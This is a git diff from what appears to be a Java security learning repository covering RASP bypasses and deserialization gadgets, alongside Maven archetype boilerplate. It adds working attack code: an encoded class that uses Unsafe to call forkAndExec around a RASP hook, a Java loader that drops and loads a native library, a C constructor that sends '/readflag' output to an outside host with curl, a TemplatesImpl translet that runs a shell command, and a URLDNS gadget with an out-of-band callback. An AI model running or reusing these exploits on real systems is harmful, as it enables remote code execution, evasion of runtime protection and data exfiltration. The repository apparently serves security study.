+ yv66vgAAADQAmwoAFwBaBwBbCABcCgAVAF0KAF4AXwoAXgBgCABhCgAVAGIKAAIAYwcAZAgAZQgAZggAZwcALQoACgBoCgBpAGoIAEMIAEQKABcAawgARQcAbAoAFQBtBwBuCgBvAHAHAHEKABkAcggAcwkAGQB0BwA/CQB1AHQKABUAdgoAbwBfCgAZAHcKACQAeAoAdQB5BwB6AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWkBAAFJAQADYXJnAQACW0IBAAR0aGlzAQAUTGNvbS9kcnVua2JhYnkvRXZpbDsBAA50aGVVbnNhZmVGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAZ1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAHY21kQXJncwEAA1tbQgEABHNpemUBAAhhcmdCbG9jawEABGVudmMBAAJbSQEAB3N0ZF9mZHMBABRsYXVuY2hNZWNoYW5pc21GaWVsZAEAD2hlbHBlcnBhdGhGaWVsZAEAD2xhdW5jaE1lY2hhbmlzbQEACmhlbHBlcnBhdGgBAAdvcmRpbmFsAQAKZm9ya01ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANU3RhY2tNYXBUYWJsZQcAegcAewcAWwcAbAcAbgcAOQcAOwEACkV4Y2VwdGlvbnMHAHwBAAl0b0NTdHJpbmcBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWJ5dGVzAQAGcmVzdWx0AQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAJQAmAQAPc3VuL21pc2MvVW5zYWZlAQAJdGhlVW5zYWZlDAB9AH4HAHsMAH8AgAwAgQCCAQAVamF2YS5sYW5nLlVOSVhQcm9jZXNzDACDAIQMAIUAhgEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBABJ0b3VjaCAvdG1wL3N1Y2Nlc3MMAIcAiAcAiQwAigCLDACMAI0BAA9qYXZhL2xhbmcvQ2xhc3MMAI4AjwEAEGphdmEvbGFuZy9PYmplY3QHAJAMAJEAkgEAEWphdmEvbGFuZy9JbnRlZ2VyDACTAJQBABBSQVNQX2ZvcmtBbmRFeGVjDACVADUHAJYMAJcAjwwAmACZDABSAFMMAJgAmgEAEmNvbS9kcnVua2JhYnkvRXZpbAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABBhbGxvY2F0ZUluc3RhbmNlAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAEKClbQgEAEGphdmEvbGFuZy9TeXN0ZW0BAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIaW50VmFsdWUBAAMoKUkBAARUWVBFAQARamF2YS9sYW5nL0Jvb2xlYW4BABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwAhACQAFwAAAAAAAgABACUAJgACACcAAAN6AAgAEgAAAcQqtwABEgISA7YABEwrBLYABSsBtgAGwAACTRIHuAAITiwttgAJOgQGvQAKWQMSC1NZBBIMU1kFEg1TOgUZBb4EZL0ADjoGGQa+NgcDNggVCBkGvqIAIxkGFQgZBRUIBGAytgAPUxUHGQYVCDK+YDYHhAgBp//bFQe8CDoIAzYJGQY6ChkKvjYLAzYMFQwVC6IAJxkKFQwyOg0ZDQMZCBUJGQ2+uAAQFQkZDb4EYGA2CYQMAaf/2AS8CjoKBrwKWQMCT1kEAk9ZBQJPOgstEhG2AAQ6DC0SErYABDoNGQwEtgAFGQ0EtgAFGQwZBLYABjoOGQ0ZBLYABsAADsAADjoPGQ62ABMSFAO9ABW2ABYZDgO9ABe2ABjAABm2ABo2EC0SGxAKvQAVWQOyABxTWQQSDlNZBRIOU1kGEg5TWQeyABxTWQgSDlNZEAayABxTWRAHEg5TWRAIEh1TWRAJsgAeU7YAHzoRGREEtgAgGREZBBAKvQAXWQMVEARguAAhU1kEGQ9TWQUqGQUDMrYAIlNZBhkIU1kHGQa+uAAhU1kIAVNZEAYZCgMuuAAhU1kQBwFTWRAIGQtTWRAJA7gAI1O2ABhXsQAAAAMAKAAAAIIAIAAAAAkABAAKAAwACwARAAwAGgAOACAADwAnABEAPAATAEYAFABLABYAVgAXAGUAGABwABYAdgAbAHwAHAB/AB4AmQAfAKYAIACwAB4AtgAjALsAJADMACYA1AAnANwAKQDiACoA6AAsAPEALQEAAC8BHwAxAWYAMgFsADMBwwA0ACkAAADKABQATgAoACoAKwAIAJkAFwAsAC0ADQAAAcQALgAvAAAADAG4ADAAMQABABoBqgAyADMAAgAgAaQANAA1AAMAJwGdADYANwAEADwBiAA4ADkABQBGAX4AOgA7AAYASwF5ADwAKwAHAHwBSAA9AC0ACAB/AUUAKgArAAkAuwEJAD4APwAKAMwA+ABAAD8ACwDUAPAAQQAxAAwA3ADoAEIAMQANAPEA0wBDADcADgEAAMQARAAtAA8BHwClAEUAKwAQAWYAXgBGAEcAEQBIAAAATAAE/wBOAAkHAEkHAEoHAEsHAEwHAE0HAE4HAE8BAQAA+gAn/wAUAA0HAEkHAEoHAEsHAEwHAE0HAE4HAE8BBwAOAQcATwEBAAD4ACoAUAAAAAQAAQBRAAEAUgBTAAEAJwAAAI0ABQAEAAAAJCvHAAUBsCu2AA9NLL4EYLwITiwDLQMsvrgAEC0tvgRkA1QtsAAAAAMAKAAAAB4ABwAAADcABAA4AAYAOgALADsAEgA8ABsAPQAiAD4AKQAAACoABAAAACQALgAvAAAAAAAkAFQAVQABAAsAGQBWAC0AAgASABIAVwAtAAMASAAAAAMAAQYAAQBYAAAAAgBZ
+
+
+
+
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java"
new file mode 100644
index 00000000..794ef563
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java"
@@ -0,0 +1,14 @@
+package com.example;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Base64;
+
+public class Evil {
+ public Evil() throws Exception {
+ String data = "PAYLOAD";
+ String filename = "/tmp/evil.so";
+ Files.write(Paths.get(filename), Base64.getDecoder().decode(data));
+ System.load(filename);
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c"
new file mode 100644
index 00000000..5188fe0b
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c"
@@ -0,0 +1,7 @@
+#include
+#include
+#include
+
+__attribute__ ((__constructor__)) void preload (void){
+ system("curl host.docker.internal:4444 -d \"`/readflag`\"");
+}
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..5d92c34d
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ bypass
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..53e80bdb
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $bypass
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml"
new file mode 100644
index 00000000..35e7a9b5
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml"
@@ -0,0 +1,22 @@
+
+ 4.0.0
+ org.example
+ java_rasp
+ 1.0-SNAPSHOT
+ pom
+ Archetype - java_rasp
+ http://maven.apache.org
+
+ agent
+ RCE-Test
+ bypass
+
+
+
+ org.javassist
+ javassist
+ 3.27.0-GA
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..f4586db1
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ java_rasp
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..e2e9e655
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $java_rasp
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Reappearance.iml" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Reappearance.iml"
new file mode 100644
index 00000000..64ec94ed
--- /dev/null
+++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Reappearance.iml"
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml"
new file mode 100644
index 00000000..b107a2dd
--- /dev/null
+++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml"
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.java" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.java"
index a040f8ea..97dc7033 100644
--- "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.java"
+++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.java"
@@ -1,11 +1,11 @@
-package src.DynamicClassLoader.BCELClassLoader;
-
-import com.sun.org.apache.bcel.internal.util.ClassLoader;
-
-// 修改过滤乱码
-public class BCELSuccessRce {
- public static void main(String[] args) throws Exception{
-
- new ClassLoader().loadClass("$$BCEL$$" + "$l8ドルb$I$A$A$A$A$A$A$A8ドルdQMO$db40ドル$Q7ドルd9ドルb8$b1c$i$C81ドル$f0$d1$PhK81ドル$QU$f5$a57$Q97ドル$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p7ドルb83ドル$e0$X$f5$cc85ドル$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK9ドルe$f17ドルb3$f3$e6$ad$f7$ee$fe$f6$X80ドルOX$f1$e1a$d6$c7$i$e63ドルd$bc0$f9$a58ドルbW3ドルeJx$edb$c1$c5$oCyC$rJo2$U9ドルbk$c7$MN3ドルb3ドルd91ドル$M$b5H$rro$d8$ef$ca$ec90ドルwcb$eaQ$wx7ドルc$cc3e$f0$T$e9$e8S953ドル7ドルc88ドル$f2L84ドル5ドルb97ドル$J$ef$x$d18ドルey9ドルeG$v3ドルf91ドルYxt$Q8ドルd$c268ドルf$c53ドルa83ドル$b7$n$e2$a7$a58ドルcD$g$d1$Z3ドルf$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M7ドルe$t$jfB$ee$u$b3$bcb$e43ドルe9ドルa$d9$A$V$f8$$$de$Ex8ドルbw$e48ドルa8ドルc8ドルa$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo9ドルaa$c2$ea$c43ドルc$e985ドル$fb$dd3$v4$c3$e4$l$ea60ドル98ドルh$d5$tO7ドルeO$eag$d0h$aeE7ドルf$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d181ドル$afY$wd9ドルe$d340ドルm40ドルEm7ドルf$c7a$c685ドル$a4c$bat$b1$e6$v80ドル99ドル$c3S$i$p$URf94ドルK$ad9ドルf60ドルW$b6$iP$y5ドルb$b28ドルc$w$c5$e0$b1$B$e3$a8Q$f60$f13ドルc$cc$ad$YP$bfA$a15ドルe$bc86ドル$f3$ed$H$bc$_$adk94ドル$af$y_$a1$d9$S8ドルaVq86ドル$be$Mc$b880ドル$U$aa$a40I$f1$f786ドル$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a999ドル$H$X$f0$df84ドル$a2$C$A$A").newInstance();
- }
-}
+//package src.DynamicClassLoader.BCELClassLoader;
+//
+//
+//
+//// 修改过滤乱码
+//public class BCELSuccessRce {
+// public static void main(String[] args) throws Exception{
+//
+// new ClassLoader().loadClass("$$BCEL$$" + "$l8ドルb$I$A$A$A$A$A$A$A8ドルdQMO$db40ドル$Q7ドルd9ドルb8$b1c$i$C81ドル$f0$d1$PhK81ドル$QU$f5$a57$Q97ドル$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p7ドルb83ドル$e0$X$f5$cc85ドル$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK9ドルe$f17ドルb3$f3$e6$ad$f7$ee$fe$f6$X80ドルOX$f1$e1a$d6$c7$i$e63ドルd$bc0$f9$a58ドルbW3ドルeJx$edb$c1$c5$oCyC$rJo2$U9ドルbk$c7$MN3ドルb3ドルd91ドル$M$b5H$rro$d8$ef$ca$ec90ドルwcb$eaQ$wx7ドルc$cc3e$f0$T$e9$e8S953ドル7ドルc88ドル$f2L84ドル5ドルb97ドル$J$ef$x$d18ドルey9ドルeG$v3ドルf91ドルYxt$Q8ドルd$c268ドルf$c53ドルa83ドル$b7$n$e2$a7$a58ドルcD$g$d1$Z3ドルf$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M7ドルe$t$jfB$ee$u$b3$bcb$e43ドルe9ドルa$d9$A$V$f8$$$de$Ex8ドルbw$e48ドルa8ドルc8ドルa$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo9ドルaa$c2$ea$c43ドルc$e985ドル$fb$dd3$v4$c3$e4$l$ea60ドル98ドルh$d5$tO7ドルeO$eag$d0h$aeE7ドルf$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d181ドル$afY$wd9ドルe$d340ドルm40ドルEm7ドルf$c7a$c685ドル$a4c$bat$b1$e6$v80ドル99ドル$c3S$i$p$URf94ドルK$ad9ドルf60ドルW$b6$iP$y5ドルb$b28ドルc$w$c5$e0$b1$B$e3$a8Q$f60$f13ドルc$cc$ad$YP$bfA$a15ドルe$bc86ドル$f3$ed$H$bc$_$adk94ドル$af$y_$a1$d9$S8ドルaVq86ドル$be$Mc$b880ドル$U$aa$a40I$f1$f786ドル$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a999ドル$H$X$f0$df84ドル$a2$C$A$A").newInstance();
+// }
+//}
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java"
new file mode 100644
index 00000000..b987db64
--- /dev/null
+++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java"
@@ -0,0 +1,30 @@
+package src.DynamicClassLoader.URLClassLoader;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+
+import java.io.IOException;
+
+// 弹计算器的万能类
+public class Exploit extends AbstractTranslet {
+ static {
+ try {
+ Runtime.getRuntime().exec("touch /tmp/success");
+ } catch (IOException e){
+ e.printStackTrace();
+ }
+ }
+
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/ReflectDemo/SeralizeDemo/URLDNSEXP.java" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/ReflectDemo/SeralizeDemo/URLDNSEXP.java"
index 4e29271f..32aa973a 100644
--- "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/ReflectDemo/SeralizeDemo/URLDNSEXP.java"
+++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/ReflectDemo/SeralizeDemo/URLDNSEXP.java"
@@ -9,7 +9,7 @@ public class URLDNSEXP {
public static void main(String[] args) throws Exception{
HashMap hashmap= new HashMap();
// 这里不要发起请求
- URL url = new URL("http://8oxpkyud88s5adzxg6lq7uj3gumka9.oastify.com");
+ URL url = new URL("http://2lovopw6370ldlc2nr68vnr8kzqqef.oastify.com");
// Class c = url.getClass();
Field hashcodeFile = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashcodeFile.setAccessible(true);
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.class"
deleted file mode 100644
index a1088902..00000000
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.class" and /dev/null differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class"
similarity index 60%
rename from "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class"
rename to "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class"
index e4f67258..c5e7562e 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/JarRce.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/JarRce.class"
index 8d761653..381372af 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/JarRce.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/JarRce.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileCopy.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileCopy.class"
index 3dc74c82..259fb9a9 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileCopy.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileCopy.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead01.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead01.class"
index 1df0b9e4..86f6a12a 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead01.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead01.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead02.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead02.class"
index 3480af9e..81d1d985 100644
